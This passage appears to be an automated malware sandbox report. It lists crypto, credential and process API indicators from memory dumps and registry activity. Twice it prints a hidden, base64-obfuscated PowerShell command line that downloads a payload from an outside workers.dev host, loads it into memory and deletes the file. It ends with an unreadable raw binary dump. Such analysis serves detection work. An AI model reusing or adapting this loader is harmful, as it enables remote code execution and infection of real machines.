Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp") Found string "aesmanaged" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp") Found string "ecdsacng" (Indicator: "ecdsa"; Source: "00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp")4d:T4d5,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp, 00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp")4e:Ta50,Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API "$tempFilePath = [System.IO.Path]::GetTempFileName()" (Indicator: "GetTempFileName"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp")4f:T62b,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00003340.00000001.201439.EEBB0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EEBB0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00003340.00000001.201439.EEBC0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00003340.00000001.201439.EEBC0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EEC30000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EEC70000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EEC70000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EEC70000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EED10000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00003340.00000001.201439.EED10000.00000004.mdmp")50:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp")51:T9a1,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")52:T8b8,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")53:Ta10,Process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezR9Y29tcHJvbWlzZWQgPSB7MH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGknKydjZnRwcmVzZW5kLndvcmtlJysncnMuZGV2L2VnaGRwenswfScrJzsgezR9c3BoZXJlcyA9IHswfScrJ0M6ezF9VXNlcnN7MX1QdWJsaWN7MX1Eb3dubG9hZHN7MX1wYXlsb2FkLnR4dHsnKycwfTsgezR9Z2FwZXNpbmcnKycgPSBbJysnYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjJysnbGllbnRdKTsgezR9Z2FwZXNpbmcuSGVhZGVycycrJy5BZGQoezB9VXNlci1BZ2VudHswfSwgezB9TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2ICcrJyhLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2ezB9KScrJzsgezR9Z2FwZXNpbmcuRG93bmxvYScrJ2RGaWxlKHs0fWNvbXByb21pc2VkLCB7NH1zcGgnKydlJysncmVzKTsgezR9bGluZW4gPSAoR2V0LUNvbnRlJysnbnQgezR9c3BoZXJlcyAtUmF3KTsgezR9dGVyZWQnKydpbmUgPSB7NH1sJysnaW5lbi5SZXBsYWNlKHszfSp7M30sezN9QXszJysnfSk7IHs0fXF1aW56ZSA9IFtjaGFyW11dKCh7NH10ZXInKydlZGluZS5UJysnb0NoYXJBcnJheSgpKVsoezR9dGVyZWRpbmUuTGVuZ3RoLTEpLi4wXSk7IHs0fXVzY29jayA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gezR9cXVpbnplKTsgW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uJysnTG9hZCh7NH11c2NvY2spIHsnKycyfSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoezMnKyd9S25QUlE4RHpYU2JGT29NNk1EdGVDSnlhNGJ1Nm1FZnBnUk1zZlcveUUrVXRWMHVSeFoyRzZKcnVjWmFvako5K1poenV1ODhsUVlVdElwSm00Z0VkTCcrJ2JDSGdtbUN2eExweWRCTmZqUysnKycxZU09ezN9LHszfXszfScrJyx7M31wY2tQbUozJysndndHJysnZnVCMnp5WHFSdllWdVhwQScrJzhtZTAwMScrJzRYYzlKcG52dDFFVFhveUFTY3lFY2taVWsyM2pzcGxDJysnezN9LHszfTEwYVVXWC9WSTdJJysnQnVuNGx0UHdVMVVJT3Z0V01hbzlqZFlYZTgyTXB3b0k9ezN9LHsnKyczfUlGbmpBbGlqUEMwTGhSZW0zaE1XMkpncGxjL3pwbnp4UkIwb2tpVmlUWFU9ezN9LHszfXszfSx7M30yUHFkZFRqcDVwNFAxSVZ4RCtwVFZpZUNHR3VKVmxuMzd5cmtDRHN6Q3hVPXszfSx7M317MycrJ30sezN9dzh5NnRndCtJNVBwTUZGWnFUb1FaVCcrJ2p5a3VSeXJ6WlcrNkVDaDVHVzE1bz17M30sezN9dGxiMmdJNVVYb3dnYmRMNzFKbm9OSi93a3NoSHhvR0owS1ZCZldDMW1zdk1JcUhGYXBJYWtXemhQd2w5YWdnZnszfSx7M31EUkVsS2VDYnRiJysnNzNYTUJWOWxRTjVIZzNsMXZSdUJUMzhPV1J0ckknKyd3SkwnKydVPXszfSx7M317M30sezN9NzJMVWFEJysnRWpIeHl6UitjUlNzaytaeDFJZnVNJysnc0pSeEljaHI3KzBpMUtZUT17M30sezN9ezMnKyd9LHszJysnfTMyTDBMOTNTV2kyRjgxRjM2SllFU2dORVg1dG5oVnJBZjNNT05EK0lxTHc9ezN9LHszfVpEU2p2eU53NCcrJ3YnKydraUk2NS83VVFqWjdta1BXZC9xdlY1UjdCMy95T25YekU9ezN9LHszfXszfSx7M317M30sezN9ezN9KTsgUmVtb3ZlLUl0ZW0gLVBhdGggezR9c3BoJysnZXJlcyAnKyctRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1mW0NIQXJdMzQsW0NIQXJdOTIsW0NIQXJdMTI0LFtDSEFyXTM5LFtDSEFyXTM2KXwuICgodmFSaWFiTGUgJyptZHIqJykuTkFNZVszLDExLDJdLWpvaU4nJyk=')) } | Invoke-Expression"" (UID: 00000000-00003340)54:T9e7,"-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezR9Y29tcHJvbWlzZWQgPSB7MH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGknKydjZnRwcmVzZW5kLndvcmtlJysncnMuZGV2L2VnaGRwenswfScrJzsgezR9c3BoZXJlcyA9IHswfScrJ0M6ezF9VXNlcnN7MX1QdWJsaWN7MX1Eb3dubG9hZHN7MX1wYXlsb2FkLnR4dHsnKycwfTsgezR9Z2FwZXNpbmcnKycgPSBbJysnYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjJysnbGllbnRdKTsgezR9Z2FwZXNpbmcuSGVhZGVycycrJy5BZGQoezB9VXNlci1BZ2VudHswfSwgezB9TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2ICcrJyhLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2ezB9KScrJzsgezR9Z2FwZXNpbmcuRG93bmxvYScrJ2RGaWxlKHs0fWNvbXByb21pc2VkLCB7NH1zcGgnKydlJysncmVzKTsgezR9bGluZW4gPSAoR2V0LUNvbnRlJysnbnQgezR9c3BoZXJlcyAtUmF3KTsgezR9dGVyZWQnKydpbmUgPSB7NH1sJysnaW5lbi5SZXBsYWNlKHszfSp7M30sezN9QXszJysnfSk7IHs0fXF1aW56ZSA9IFtjaGFyW11dKCh7NH10ZXInKydlZGluZS5UJysnb0NoYXJBcnJheSgpKVsoezR9dGVyZWRpbmUuTGVuZ3RoLTEpLi4wXSk7IHs0fXVzY29jayA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gezR9cXVpbnplKTsgW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uJysnTG9hZCh7NH11c2NvY2spIHsnKycyfSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoezMnKyd9S25QUlE4RHpYU2JGT29NNk1EdGVDSnlhNGJ1Nm1FZnBnUk1zZlcveUUrVXRWMHVSeFoyRzZKcnVjWmFvako5K1poenV1ODhsUVlVdElwSm00Z0VkTCcrJ2JDSGdtbUN2eExweWRCTmZqUysnKycxZU09ezN9LHszfXszfScrJyx7M31wY2tQbUozJysndndHJysnZnVCMnp5WHFSdllWdVhwQScrJzhtZTAwMScrJzRYYzlKcG52dDFFVFhveUFTY3lFY2taVWsyM2pzcGxDJysnezN9LHszfTEwYVVXWC9WSTdJJysnQnVuNGx0UHdVMVVJT3Z0V01hbzlqZFlYZTgyTXB3b0k9ezN9LHsnKyczfUlGbmpBbGlqUEMwTGhSZW0zaE1XMkpncGxjL3pwbnp4UkIwb2tpVmlUWFU9ezN9LHszfXszfSx7M30yUHFkZFRqcDVwNFAxSVZ4RCtwVFZpZUNHR3VKVmxuMzd5cmtDRHN6Q3hVPXszfSx7M317MycrJ30sezN9dzh5NnRndCtJNVBwTUZGWnFUb1FaVCcrJ2p5a3VSeXJ6WlcrNkVDaDVHVzE1bz17M30sezN9dGxiMmdJNVVYb3dnYmRMNzFKbm9OSi93a3NoSHhvR0owS1ZCZldDMW1zdk1JcUhGYXBJYWtXemhQd2w5YWdnZnszfSx7M31EUkVsS2VDYnRiJysnNzNYTUJWOWxRTjVIZzNsMXZSdUJUMzhPV1J0ckknKyd3SkwnKydVPXszfSx7M317M30sezN9NzJMVWFEJysnRWpIeHl6UitjUlNzaytaeDFJZnVNJysnc0pSeEljaHI3KzBpMUtZUT17M30sezN9ezMnKyd9LHszJysnfTMyTDBMOTNTV2kyRjgxRjM2SllFU2dORVg1dG5oVnJBZjNNT05EK0lxTHc9ezN9LHszfVpEU2p2eU53NCcrJ3YnKydraUk2NS83VVFqWjdta1BXZC9xdlY1UjdCMy95T25YekU9ezN9LHszfXszfSx7M317M30sezN9ezN9KTsgUmVtb3ZlLUl0ZW0gLVBhdGggezR9c3BoJysnZXJlcyAnKyctRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1mW0NIQXJdMzQsW0NIQXJdOTIsW0NIQXJdMTI0LFtDSEFyXTM5LFtDSEFyXTM2KXwuICgodmFSaWFiTGUgJyptZHIqJykuTkFNZVszLDExLDJdLWpvaU4nJyk=')) } | Invoke-Expression"" on 2026-9-27.20:17:32.93855:Tfd80,Executable loaded in memory "ZM@ !L!hTsip orrgmac naon tebr nui nOD Somed . $EPLD=!0nn @ ` K Ht.xetmt n `r.rscp@r.lecov@BPH5xE+"(qI_*0( E10! G; ;8( 8*( ~{ :& 8( ~{9& 8v+B(b4~*+6(?_v~*0*A95U0*(.(***0*ï0*(.(***0 *0*(.(***0 *0*(.(***0*(.(***0*0*0*(.(***0*(.(***0*AaHf;k+P.9z~0*(.(***0*0*(.(***0*4AJ[0*(.(***0*0*(.(***0*0*(.(***0*(.(***0*0*(.(***0*(.(***0*0*(.(***0*0*(.(***0*(.(***0*(.(***0*0*z0*0*0( E!xjc ; ;8_ 5 WU4~a{a ( ue .a~{(a (+0 ~{9R &G8*( ~{-:& 8"( 8 B9 na4! Qa~{(a B Eɶz~a{a ((+- 8( 8 cQP~a{a ( ՆΒ [a~{(a (+/ ~{:Z &O8 Ggy3 f~a{a ( ?Lq( Y5 ,a<~{(a (+4 8u vxe FaJ~{(a # Ĉ~a{a ((+. 8 {v b Ia~{(a c)C5~a{a ((+1 ]8 9ʺ a\~{(a }z~a{a (( +2 8 ' a~{(a f 6 b^̼~a{a (( +3 ~{9& 8: ʜ 0oS~a{a ( 2Q_ %ea~~{(a (+5 8\ # d9~a{a ( }" c a_~{(a (+, ~{9 &8**0*0*(.(***0*(.(***(.(*(.(*(.(*(.(*(.(*(.(*(.(*(.(*(.(*(.(*0( E"i1Z ; ;8(* 8s7 ~{: &8( 8( ~{i:& 8^0****0*(.(***(.(*0*0*0( E0! `; ;8i( 89U~(e~((f~(,p : &}8( m9& 8b(* 8R**(.(*0\; ($(o % @2%&( |{~s yws r~ ~ v's jz}jst~ (s ux~ () &*JU*0 W2 iZ ] Y X]: ijn\XXjm ijZj 8X?ii% G`R$8 njY YZ?d_ j_Y=iZ \ E# g ͫ v 2T 8 b98dXXbXXb`XXb`X`X=D ( ( ( (( ( ( ( ( ( ( ( ( ( ( (( ( ( (( ( ( ( ( ( ( ( ( ( ( (!( "( #( $(%( &( '( (( )( *( +( ,( -( .( /( 0(1( 2( 3( 4(5( 6( 7( 8(9( :( ;( <(=( >( ?( @( X XXX X \D( * (+ *( +( (* (+ *( (+ *K_f_X`X|~YX(TX*K__fX`X|~YX(TX*KaaX~X|YX(X*TK`fXaX|~YX(TX*F Yd_b_*`~n:({~*(* 0i ]i[ii[ >X8z] Z ZXbXb`X`b` YI@>BX8 # >biX Y` X ?8.X XbX`bXb``% = )>`U\ |R ϻ)W Z_ dY r _Z Xd: nZY @Y\XXaX @Y\XXXX _Z Xd Z_ dY ZX@ Y\XYXX baX daX baX bXaXvmlXYP@>Ia-8>bX X_d_X?I8a _ X _d X _d X _dX?~*0j (9,s Q8-s E&rrpp.(o / Lt &rrpp.(o / Lt *$C #E0.0s& &{1( {&*'(v:s0 (2 *(*08+8Bi8 i3o& (YB*6o4 *&0Z J85o Z(XXj6o 7o o7 7o& o7 BXA XY*X ?*0! %%E h V G 3> ~t!% ; Y% ;a8" (gp:& 8e;(>%o( cd(rpe(s8 z( 8'*& 8!(= 8(A& 8 8 En)H ;8C(:O 8n g(: &8rpB( #f(: &}8s &f(: &88 E ;8 (f:& 8 #8 8~~9L 8,8 8~rpD(s(%EjF(%(%EG(iH( l X JY TY % X 1 X X 9Y [| X TYs iX I Y 0\ X >YV 7Y F Y I Y e X O Y MY G X /Y dp X R Y 9Y W QY s X J Y X N Y Q /X X O Y I Y QY KY Y Y 8 X EZ X S Y 2 Y SY R Y (X ; Y lX :s X X A Y = Y /Y X Au X m 3X T Y @ Y <[ X Fm X X ]Y X l X EY~ *Y f X ; Y c Y ko X N Y 0 X {F Y cX QC X F X u LX T_ X k X g X , Y bX 7Y *Y % X : Y AY X - X KY ! X } )Y q Y _O X H' X kN X :Y OX } )Y = Y 5 Y X j FX >[ X GY =Y X T ,X b= X @ Y _A Y cX | Y E' X P AX X Y N X 0 Y 3 Y 7Y Y CY 1 Y e X # X d Y * zX T Y 0Y NY ^ IY~ *Y < Y vY TY~ *Y 3Y Z Y P Y L pX i X ? X M X x X lX &x X )P X J Y 5Y! -X 9X > Y r' Y X z "X 6 Y j| X ? X O Y S ]X tg X o Y > Y KY m* X /Y : tX I X - Y 0X 3Y DY jX F X ~S Y 1Y > X lX X RR X I(%(JK((Ls % iM(%N(~~O((PQ((RS((ST( g(9 &88 E ;8v &f(: &88 E0 ;8( (f:& 8 "8;>(o% ?( f(: &8( (f:& 88 g(9 &8s9 (f:& 8 8 -E=y jXO,$.!k UD8+_@K7zdr[ 4{; ';8 )( 8 8(_ 88 8Z(XjXjF( 8 h(jF 8 nXF( 8s: " 8&')U( g(:h &]8 x(jF 8FEA f(9. nF( ,8("Z, (g:& 88 g(: &88 8!/< 8"(^ (f:&& 8&](& 8d8 ]8]C C8"Z( g(9& &88 (g9&4 88 )g(9 &)88' 8Y( 8Y' 8Yn\(m'! (f:& 8,< $g(:h &]8(F (gE9& 8:"Z(!("[* 8mY# 8 (%YXnF( +8= 8&)U( "8("V 9%88p` jF()W(&)@)A)B)C&)(X) W(&) )!)")#)$)%)&)'&) X((Y jF(("V!F(&!Z()U((Y : %g(: &89 &f(: &88 $$E0$ ;8( (g:& 8 f(:߫ &89(] 8ߏ<( g(9{ &p8s; ~ T88 8M: <8*@(: 8%(9 8"o: f(9 &88 E2C ;88+ (g:& 8"b( 8 &g(9 &88 E ;8 8/dANL&roXo !N0($ ~ l:~y <(s = ; ($(o % rop> :s% 5o oj6 %%5oo ? oi@ Ao 9i]i[i >XP8Z @YF>> %8> b iYX` X?8+XbXb`Xb`` =&> U)`' |\R() )* W) _Z) Yd)r ( Z_( dX( n:&Z'Y&'@ 'Y'&'\'X+&)X+a&X'&@ &Y&(&\&X+((X+X(X& ' Z_' dX' & _Z& Yd& (Z)X(* @*Y*(*\*X+((Y+X(X*)) ab))&X))) ad)))X))) ab))*X)& b)X&a)X))lvXm YS@K> a 8.>bXX_d_X?8M a _X _dX _dX _dX?i[s s #8o ooB X?o 9 (C ( oD 8Eo ~Fo @_ _?; ($(o G oH Iot >Jo9 oK L(o M toN iX !oO Po9 !oO Qo 8! ($( 8$!$X$oR $X$$?i~ oS !Ts "o"U #8%t%E'88D#V~o W A8~#X Wo8 0#Y~o W 8~#Z Wo8 #[~ o%\ %X%% ?~#] Wo #: ^~8 _~ o` #a~o W "boo M &Xi?&*LAWp (Zc 9rkp8sz *02` En.E$`#,(B .Z&C!aHc I'&0%a4y#P )$tw&)V 9k")+&^%),&{ k ?jM%8!z+ 5%y E; Qg(eM'H ^7 v*$ *+ 9(s&#y"$$D# ^S!8RZl{! p!" *'2"R%r N]#c"!+il(K*O9xS"ZT)?]e2( # $%H&`J*D( ))e & X*]Q$ +^)= Aa!A*& 3$ n#7"J'i!"Ti[ % ]Lr#J 2"c*wt.&?;*+)$#$7,'A'+?"+ w W `mg*&!+# g $v & ElQ '{t ;.I ;#V8 8 8 l8 r;(9 &h8 EY 8q "X 1z8 *Y! 8[ & 8C vX ""8 T X 8 ( 8* X 78 }8 BR Xn 8 L Y F8 U ~8 X 8e 8M QY :(:/ &L$8 5 Y ` (;:&2 8 / Y 88m 8 8 8 g (:9&e 8u (;X9& 8M {X 48 ;(: &8 .8 cX 8 3 Y 8 8 8 n8 k UY 8O . Y l08 x;(: &8 X 8 V 8~(./( ;(: &c8 ZYl (;:&g 8w p 8_ G Y j@8 h XO 